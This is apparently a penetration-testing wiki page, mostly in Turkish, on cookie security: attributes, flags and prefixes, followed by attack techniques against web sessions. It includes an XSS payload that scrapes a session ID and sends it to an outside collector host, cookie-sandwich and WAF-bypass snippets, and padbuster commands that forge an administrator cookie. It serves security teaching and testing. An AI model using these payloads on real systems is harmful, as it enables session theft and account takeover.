Cookies Hacking

Reading time: 15 minutes

Cookie Öznitelikleri

Cookies, kullanıcının tarayıcısındaki davranışlarını kontrol eden birkaç özniteliğe sahiptir. İşte bu özniteliklerin daha pasif bir dille özeti:

Expires ve Max-Age

Bir cookie'nin sona erme tarihi Expires özniteliğiyle belirlenir. Buna karşılık, Max-age özniteliği cookie'nin silinmesine kadar geçen süreyi saniye cinsinden tanımlar. Max-age daha modern uygulamaları yansıttığı için tercih edilmelidir.

Domain

Bir cookie'yi alacak hostlar Domain özniteliğiyle belirtilir. Varsayılan olarak bu, cookie'yi çıkaran host olarak ayarlanır ve alt alan adlarını kapsamaz. Ancak Domain özniteliği açıkça ayarlandığında alt alan adlarını da kapsar. Bu, subdomainler arasında cookie paylaşımının gerekli olduğu senaryolar için daha az kısıtlayıcı bir seçenek sağlar. Örneğin, Domain=mozilla.org ayarlanırsa cookie'ler developer.mozilla.org gibi alt alan adlarında da erişilebilir olur.

Path

Path özniteliği, Cookie başlığının gönderilmesi için istenen URL'de bulunması gereken belirli bir URL yolunu belirtir. Bu öznitelik / karakterini dizin ayırıcı olarak kabul eder ve alt dizinlerde eşleşmelere izin verir.

Sıralama Kuralları

Aynı ada sahip iki cookie olduğunda, gönderilecek olan cookie şu esaslara göre seçilir:

• İstenen URL'de en uzun path ile eşleşen cookie.
• Pathler aynıysa en son ayarlanan cookie.

SameSite

• SameSite özniteliği, cookie'lerin üçüncü taraf alanlardan gelen isteklerde gönderilip gönderilmeyeceğini belirler. Üç ayar sunar:
• Strict: Cookie'nin üçüncü taraf isteklerinde gönderilmesini kısıtlar.
• Lax: Üçüncü taraf siteler tarafından başlatılan GET istekleriyle cookie'nin gönderilmesine izin verir.
• None: Cookie'nin herhangi bir üçüncü taraf alanından gönderilmesine izin verir.

Cookie'leri yapılandırırken, bu özniteliklerin anlaşılması farklı senaryolarda beklenen şekilde davranmalarını sağlamaya yardımcı olur.

Table from Invicti and slightly modified.
SameSite özniteliğine sahip bir cookie, oturum gerektiren durumlarda CSRF saldırılarını azaltmaya yardımcı olur.

*Dikkat: Chrome80 (feb/2019) itibarıyla cookie'de samesite özniteliği olmayan cookie'lerin varsayılan davranışı lax olacaktır (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
Bu değişikliğin uygulanmasından sonra geçici olarak, Chrome'da SameSite politikası olmayan cookie'ler ilk 2 dakika boyunca None olarak işlenecek ve ardından üst düzey çapraz-site POST istekleri için Lax olarak değerlendirilecektir.

Cookie Bayrakları

HttpOnly

Bu, istemcinin cookie'ye erişimini engeller (örneğin Javascript ile: document.cookie)

Atlatma Yöntemleri

• Eğer sayfa isteklerin cevabı olarak cookie'leri gönderiyorsa (örneğin bir PHPinfo sayfasında), XSS'i suistimal ederek bu sayfaya istek göndermek ve yanıt içerisindeki cookie'leri çalmak mümkün olabilir (örnek için bakınız https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
• Bu, sunucunun yanıtının (eğer bu HTTP metodu mevcutsa) gönderilen cookie'leri yansıtacağı TRACE HTTP istekleriyle atlatılabilir. Bu tekniğe Cross-Site Tracking denir.
• Modern tarayıcılar, JS'den TRACE göndermeye izin vermeyerek bu tekniği engeller. Ancak bazı yazılımlarda, örneğin IE6.0 SP2'ye \r\nTRACE göndermek gibi bypass'lar bulunmuştur.
• Bir diğer yol tarayıcıların zero-day/vulnerability'lerinin istismar edilmesidir.
• Cookie Jar overflow saldırısı yapılarak HttpOnly cookie'ler üzerine yazmak mümkündür:

Cookie Jar Overflow

• Bu cookie'leri sızdırmak için Cookie Smuggling saldırısı kullanılabilir.
• Eğer herhangi bir server-side endpoint ham session ID'sini HTTP yanıtında (örn. HTML yorumları içinde veya bir debug bloğunda) yansıtıyorsa, HttpOnly'yi atlatmak için bir XSS gadget'ı kullanıp o endpoint'i fetch ederek, secret'ı regex ile ayıklayıp sızdırabilirsiniz. Örnek XSS payload deseni:

// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

İstek, cookie'yi bir HTTP isteğinde yalnızca istek güvenli bir kanal üzerinden (genellikle HTTPS) iletildiğinde gönderir.

Cookies Prefixes

Cookies prefixed with __Secure- are required to be set alongside the secure flag from pages that are secured by HTTPS.

For cookies prefixed with __Host-, several conditions must be met:

• They must be set with the secure flag.
• They must originate from a page secured by HTTPS.
• They are forbidden from specifying a domain, preventing their transmission to subdomains.
• The path for these cookies must be set to /.

It is important to note that cookies prefixed with __Host- are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the __Host- prefix for all application cookies can be considered a good practice for enhancing security and isolation.

Overwriting cookies

So, one of the protection of __Host- prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example Cookie Tossing attacks. In the talk Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper) it's presented that it was possible to set __HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:

Or in PHP it was possible to add other characters at the beginning of the cookie name that were going to be replaced by underscore characters, allowing to overwrite __HOST- cookies:

Cookies Attacks

Eğer özel bir cookie hassas veri içeriyorsa kontrol edin (özellikle bir CTF oynuyorsanız), zira savunmasız olabilir.

Decoding and Manipulating Cookies

Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie.

Session Hijacking

This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.

Session Fixation

In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.

Cross-Site Request Forgery (CSRF)

This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.

Empty Cookies

(Check further details in theoriginal research) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

Gönderilen cookie header'ındaki sonuç a=v1; test value; b=v2;. İlginç bir şekilde, bu, isimsiz bir cookie ayarlanırsa cookie'lerin manipüle edilmesine izin verir; boş isimli cookie'yi belirli bir değere ayarlayarak diğer cookie'leri potansiyel olarak kontrol etmek mümkün:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

Bu, tarayıcının bir cookie header göndermesine yol açar; her web sunucusu bunu adı a ve değeri b olan bir cookie olarak yorumlar.

Chrome Hatası: Unicode vekil kod noktası sorunu

Chrome'da, bir Unicode vekil kod noktası bir set cookie'nin parçası olduğunda, document.cookie bozulur ve sonrasında boş bir string döndürür:

document.cookie = "\ud800=meep"

Bu, document.cookie'un boş bir dize döndürmesine yol açar ve kalıcı bozulmaya işaret eder.

Cookie Smuggling Due to Parsing Issues

(Daha fazla ayrıntı için original research) Java (Jetty, TomCat, Undertow) ve Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) kaynaklı olanlar da dahil olmak üzere birkaç web sunucusu, eski RFC2965 desteği nedeniyle cookie dizelerini yanlış işliyor. Çift tırnakla çevrelenmiş bir cookie değerini, içinde noktalı virgül olsa bile, normalde anahtar-değer çiftlerini ayırması gereken noktalı virgülleri dikkate almadan tek bir değer olarak okurlar:

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

Cookie Injection Vulnerabilities

(Check further details in theoriginal research) Sunucuların çerezleri yanlış ayrıştırması — özellikle Undertow, Zope ve Python'un http.cookie.SimpleCookie ile http.cookie.BaseCookie kullananlar — cookie injection saldırıları için fırsatlar yaratır. Bu sunucular yeni cookie başlangıcını doğru şekilde ayırmaz; bu da saldırganların cookie taklidi yapmasına izin verir:

• Undertow, noktalı virgül olmadan tırnaklı bir değerin hemen ardından yeni bir cookie bekler.
• Zope bir sonraki cookie'yi ayrıştırmaya başlamak için virgül arar.
• Python'un cookie sınıfları ayrıştırmaya boşluk karakterinde başlar.

Bu zafiyet, cookie tabanlı CSRF korumasına dayanan web uygulamalarında özellikle tehlikelidir; çünkü saldırganların sahte CSRF-token cookie'leri enjekte etmesine ve böylece güvenlik önlemlerini atlatmasına imkan tanıyabilir. Python'un aynı isimli birden fazla cookie ile başa çıkma şekli (sonuncunun öncekilere üstün gelmesi) sorunları ağırlaştırır. Ayrıca __Secure- ve __Host- cookie'lerinin güvensiz bağlamlarda kullanımıyla ilgili endişeler doğurur ve cookie'lerin spoof'a açık back-end sunuculara iletilmesi durumunda yetkilendirme atlamalarına yol açabilir.

Cookies $version

WAF Bypass

According to this blogpost, backend'in cookie'yi ayrıştırmak için RFC2109 nedeniyle eski bir mantığı kullanmasını sağlamak için cookie özniteliği $Version=1 kullanılabilir. Ayrıca, $Domain ve $Path gibi diğer değerler backend davranışını cookie aracılığıyla değiştirmek için kullanılabilir.

Cookie Sandwich Attack

According to this blogpost cookie sandwich technique kullanılarak HttpOnly cookie'leri çalmak mümkündür. Gereksinimler ve adımlar şunlardır:

• Yanıt içinde bariz şekilde işe yaramaz görünen bir cookie'in yanıtta yansıtıldığı bir yer bulun.
• $Version adlı bir cookie oluşturun; değeri 1 olsun (bunu JS üzerinden bir XSS ile yapabilirsiniz) ve başlangıç konumunu alması için daha spesifik bir path verin (python gibi bazı framework'lar bu adımı gerektirmez).
• Yansıtılan cookie'i oluşturun; değeri bir açık çift tırnak bırakacak şekilde olsun ve belirli bir path verin ki cookie veritabanında önceki ($Version) öğeden sonra konumlansın.
• Böylece, meşru cookie sırada bir sonraki konuma gelir.
• Değerinde çift tırnağı kapatan sahte bir cookie oluşturun.

Bu şekilde kurban cookie'si yeni cookie version 1'in içine hapsolur ve yansıtıldığında her seferinde yansıtılmış olur. e.g. from the post:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Çerezler $version

Önceki bölüme bakın.

Bypassing value analysis with quoted-string encoding

Bu ayrıştırma, çerezler içindeki escape edilmiş değerlerin çözülmesini sağlar; bu yüzden "\a" "a" olur. Bu, WAFS'i atlatmak için faydalı olabilir, örneğin:

• eval('test') => forbidden
• "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

Bypassing cookie-name blocklists

RFC2109'da virgül çerez değerleri arasında ayırıcı olarak kullanılabilir olduğu belirtilir. Ayrıca eşittirin öncesine ve sonrasına boşluklar ve tab eklemek mümkündür. Bu nedenle $Version=1; foo=bar, abc = qux gibi bir çerez "foo":"bar, admin = qux" çerezini oluşturmaz; bunun yerine foo":"bar" ve "admin":"qux" çerezlerini üretir. İki çerez nasıl oluşturulduğunu ve admin'in eşittirin öncesindeki ve sonrasındaki boşluğun nasıl kaldırıldığını gözlemleyin.

Bypassing value analysis with cookie splitting

Son olarak, farklı backdoors farklı cookie headers'ta gönderilen farklı çerezleri bir string içinde birleştirebilir, örneğin:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

Bu, aşağıdaki örnekte olduğu gibi bir WAF'ı atlatmaya izin verebilir:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

Ekstra Zayıf Cookie Kontrolleri

Temel kontroller

• Her login yaptığınızda cookie aynı.
• Çıkış yap ve aynı cookie'yi kullanmayı dene.
• Aynı hesapla, aynı cookie'yi kullanarak 2 cihazda (veya tarayıcıda) giriş yapmayı dene.
• Cookie'nin içinde herhangi bir bilgi olup olmadığını kontrol et ve değiştirmeyi dene.
• Neredeyse aynı username'e sahip birkaç hesap oluştur ve benzerlikleri kontrol et.
• ""remember me"" seçeneği varsa nasıl çalıştığını kontrol et. Eğer mevcutsa ve zafiyetli olabilecekse, her zaman başka bir cookie olmadan remember me cookie'sini kullan.
• Şifreyi değiştirdikten sonra önceki cookie'nin hala çalışıp çalışmadığını kontrol et.

Gelişmiş cookie saldırıları

Eğer cookie giriş yaptığınızda (veya neredeyse) aynı kalıyorsa, bu muhtemelen cookie'nin hesabınızdaki bir alanla (muhtemelen username) ilişkili olduğu anlamına gelir. Bu durumda şunları yapabilirsiniz:

• Çok sayıda hesap oluştur, username'leri çok benzer yap ve algoritmanın nasıl çalıştığını tahmin etmeye çalış.
• Try to bruteforce the username. Eğer cookie sadece username için bir authentication yöntemi olarak saklanıyorsa, o zaman username'i "Bmin" olan bir hesap oluşturup cookie'nin her bir bit'ini bruteforce edebilirsin çünkü deneyeceğin cookie'lerden biri "admin"e ait olandır.
• Try Padding Oracle (cookie'nin içeriğini deşifre edebilirsiniz). padbuster kullanın.

Padding Oracle - Padbuster examples

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbuster birkaç deneme yapacak ve size hangi durumun hata koşulu olduğunu (geçersiz olanı) soracaktır.

Sonra decrypting the cookie işlemine başlayacak (bu birkaç dakika sürebilir)

Eğer saldırı başarıyla gerçekleştirildiyse, seçtiğiniz bir stringi encrypt etmeyi deneyebilirsiniz. Örneğin, eğer encrypt user=administrator yapmak isterseniz

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

This execution will give you the cookie correctly encrypted and encoded with the string user=administrator inside.

CBC-MAC

Belki bir cookie'nin bir değeri olabilir ve CBC kullanılarak imzalanmış olabilir. Bu durumda, değerin bütünlüğü aynı değer kullanılarak CBC ile oluşturulan imza olur. IV olarak null vector kullanılması tavsiye edildiği için, bu tür bütünlük kontrolü zafiyete açık olabilir.

The attack

1. Kullanıcı adı administ = t için imzayı al
2. Kullanıcı adı rator\x00\x00\x00 XOR t = t' için imzayı al
3. Cookie'ye değeri administrator+t' olarak ayarla (t', (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 için geçerli bir imza olacaktır)

ECB

If the cookie is encrypted using ECB it could be vulnerable.
When you log in the cookie that you receive has to be always the same.

How to detect and attack:

Aynı veya çok benzer verilerle (username, password, email, vb.) 2 kullanıcı oluşturun ve verilen cookie içinde herhangi bir desen olup olmadığını keşfetmeye çalışın.

Örneğin "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" adlı bir kullanıcı oluşturun ve cookie içinde herhangi bir deseni kontrol edin (ECB her bloğu aynı anahtarla şifrelediği için, username şifreleniyorsa aynı şifrelenmiş byte'lar tekrar edebilir).

Bir desen (kullanılan bloğun boyutunda) olması gerekir. Böylece bir dizi "a"nın nasıl şifrelendiğini bildiğinizde şu şekilde bir username oluşturabilirsiniz: "a"*(size of the block)+"admin". Sonra cookie'den bir blok "a"nın şifrelenmiş desenini silebilirsiniz. Ve elimizde "admin" kullanıcı adına ait cookie kalmış olur.

References

• https://blog.ankursundara.com/cookie-bugs/
• https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd
• https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie
• https://seclists.org/webappsec/2006/q2/181
• https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it
• https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/